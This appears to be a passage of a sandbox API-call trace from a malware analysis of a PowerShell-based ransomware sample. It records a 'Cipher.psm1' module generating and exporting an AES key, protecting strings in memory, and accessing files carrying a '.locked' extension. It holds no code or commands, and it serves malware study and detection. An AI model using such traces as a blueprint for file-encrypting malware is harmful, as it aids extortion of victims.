[6]=0xd4, [7]=0x1))) returned 0x0 [0134.377] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.377] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.377] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.377] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.378] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.378] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.379] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.379] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.379] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.380] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x693f914 | out: lpFileInformation=0x693f914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x134d253a, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x134d253a, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x134f87e5, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xaeb4)) returned 1 [0134.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.383] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked", lpFilePart=0x0) returned 0x41 [0134.383] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.383] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.383] CloseHandle (hObject=0x858) returned 1 [0134.385] GetConsoleOutputCP () returned 0x1b5 [0134.385] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.385] GetConsoleOutputCP () returned 0x1b5 [0134.386] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.386] GetConsoleOutputCP () returned 0x1b5 [0134.386] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.386] GetConsoleOutputCP () returned 0x1b5 [0134.387] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.387] GetConsoleOutputCP () returned 0x1b5 [0134.387] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.387] GetConsoleOutputCP () returned 0x1b5 [0134.387] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.387] GetConsoleOutputCP () returned 0x1b5 [0134.388] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.388] GetConsoleOutputCP () returned 0x1b5 [0134.388] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.388] GetConsoleOutputCP () returned 0x1b5 [0134.389] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.389] GetConsoleOutputCP () returned 0x1b5 [0134.389] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.389] GetConsoleOutputCP () returned 0x1b5 [0134.389] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.389] GetConsoleOutputCP () returned 0x1b5 [0134.390] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.390] GetConsoleOutputCP () returned 0x1b5 [0134.390] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.390] GetConsoleOutputCP () returned 0x1b5 [0134.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.391] GetConsoleOutputCP () returned 0x1b5 [0134.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.391] GetConsoleOutputCP () returned 0x1b5 [0134.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.391] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.392] GetConsoleOutputCP () returned 0x1b5 [0134.392] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.392] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.393] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6966ff8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6966ff8*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.393] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.394] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.398] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.398] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.398] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.398] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.398] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.399] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.399] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.400] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.400] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.400] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.400] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.400] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.401] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43964e8) returned 1 [0134.401] CryptGenKey (in: hProv=0x43964e8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e85238) returned 1 [0134.401] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.401] CryptExportKey (in: hKey=0x8e85238, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.401] CryptExportKey (in: hKey=0x8e85238, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6970af8, pdwDataLen=0x99ae894 | out: pbData=0x6970af8*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.402] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xa88\x697\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0134.402] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.402] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.402] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.402] SysStringLen (param_1="") returned 0x8 [0134.402] SysStringLen (param_1="7") returned 0x8 [0134.402] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.402] SysStringLen (param_1="\xdb68\xe388\x5f4a\x9171\x5fb5\x427\x2d5d\x9f79") returned 0x8 [0134.402] SysStringLen (param_1="\xdb68\xe388\x5f4a\x9171\x5fb5\x427\x2d5d\x9f79") returned 0x8 [0134.402] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.403] SysStringLen (param_1="7Q") returned 0x8 [0134.403] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.403] SysStringLen (param_1="\x8840\x19fe\xff3b\x9aef\x7367\x3b75\x1d26\x8c15") returned 0x8 [0134.403] SysStringLen (param_1="\x8840\x19fe\xff3b\x9aef\x7367\x3b75\x1d26\x8c15") returned 0x8 [0134.403] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.403] SysStringLen (param_1="7QC") returned 0x8 [0134.403] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.403] SysStringLen (param_1="\xa32b\x511d\x1426\x5bae\xd920\x1a44\x1591\x5a0f") returned 0x8 [0134.403] SysStringLen (param_1="\xa32b\x511d\x1426\x5bae\xd920\x1a44\x1591\x5a0f") returned 0x8 [0134.403] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.403] SysStringLen (param_1="7QCk") returned 0x8 [0134.403] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.403] SysStringLen (param_1="\xf05b\xef23\x534e\xefa\xdc70\x6eda\x1bdc\x244") returned 0x8 [0134.403] SysStringLen (param_1="\xf05b\xef23\x534e\xefa\xdc70\x6eda\x1bdc\x244") returned 0x8 [0134.403] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.403] SysStringLen (param_1="7QCkY") returned 0x8 [0134.403] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.404] SysStringLen (param_1="\x9896\xa46d\x4bb5\xd253\x603a\xea1b\x364\x74a8") returned 0x8 [0134.404] SysStringLen (param_1="\x9896\xa46d\x4bb5\xd253\x603a\xea1b\x364\x74a8") returned 0x8 [0134.404] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.404] SysStringLen (param_1="7QCkYO") returned 0x8 [0134.404] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.404] SysStringLen (param_1="\xeb64\xdb68\xffa7\x652f\x5b20\x24df\x81d0\x9806") returned 0x8 [0134.404] SysStringLen (param_1="\xeb64\xdb68\xffa7\x652f\x5b20\x24df\x81d0\x9806") returned 0x8 [0134.404] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.404] SysStringLen (param_1="7QCkYOH") returned 0x8 [0134.404] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.404] SysStringLen (param_1="\x1e17\x9b4d\x2b0e\xb32\xd4b4\xe080\xe378\xc239") returned 0x8 [0134.404] SysStringLen (param_1="\x1e17\x9b4d\x2b0e\xb32\xd4b4\xe080\xe378\xc239") returned 0x8 [0134.404] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.404] SysStringLen (param_1="7QCkYOHG") returned 0x8 [0134.404] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.404] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5") returned 0x8 [0134.404] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5") returned 0x8 [0134.405] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5") returned 0x8 [0134.405] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5") returned 0x10 [0134.405] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.405] SysStringLen (param_1="7QCkYOHGI㩢厩ꕨ⯄䚵ᨴ푶") returned 0x10 [0134.405] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.405] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc7e8\xeb35\x4dc9\xc929\x2739\x9b24\xa93e\xaaef") returned 0x10 [0134.405] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xc7e8\xeb35\x4dc9\xc929\x2739\x9b24\xa93e\xaaef") returned 0x10 [0134.405] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.405] SysStringLen (param_1="7QCkYOHGIR厩ꕨ⯄䚵ᨴ푶") returned 0x10 [0134.405] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.405] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\x50b6\x5e20\xea62\x7458\xe47f\x189a\x402e\x2bc0") returned 0x10 [0134.405] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\x50b6\x5e20\xea62\x7458\xe47f\x189a\x402e\x2bc0") returned 0x10 [0134.405] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.405] SysStringLen (param_1="7QCkYOHGIRNꕨ⯄䚵ᨴ푶") returned 0x10 [0134.405] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.405] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xd86e\xe215\xf8b\x8ab5\x1e6d\xf990\x150f\xaa64") returned 0x10 [0134.405] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xd86e\xe215\xf8b\x8ab5\x1e6d\xf990\x150f\xaa64") returned 0x10 [0134.405] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.406] SysStringLen (param_1="7QCkYOHGIRNw⯄䚵ᨴ푶") returned 0x10 [0134.406] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.406] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xaece\xe69f\x9cbd\x8988\xaf38\x2336\xea4\xc691") returned 0x10 [0134.406] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\xaece\xe69f\x9cbd\x8988\xaf38\x2336\xea4\xc691") returned 0x10 [0134.406] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.406] SysStringLen (param_1="7QCkYOHGIRNww䚵ᨴ푶") returned 0x10 [0134.406] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.406] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\x6ff7\x2e6a\xbbaf\xe932\xaf8c\xd37b\x4f47\xba3c") returned 0x10 [0134.406] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\x6ff7\x2e6a\xbbaf\xe932\xaf8c\xd37b\x4f47\xba3c") returned 0x10 [0134.406] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.406] SysStringLen (param_1="7QCkYOHGIRNwwSᨴ푶") returned 0x10 [0134.406] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.406] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\x3bfc\x1062\x635b\x7bca\xb5ae\xe8b3\xc518\xe885") returned 0x10 [0134.406] SysStringLen (param_1="\x8b5\x3a48\x20e1\xa46e\xef04\x5220\x5fcf\xe4a5\x3bfc\x1062\x635b\x7bca\xb5ae\xe8b3\xc518\xe885") returned 0x10 [0134.406] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.406] SysStringLen (param_1="7QCkYOHGIRNwwSY푶") returned 0x10 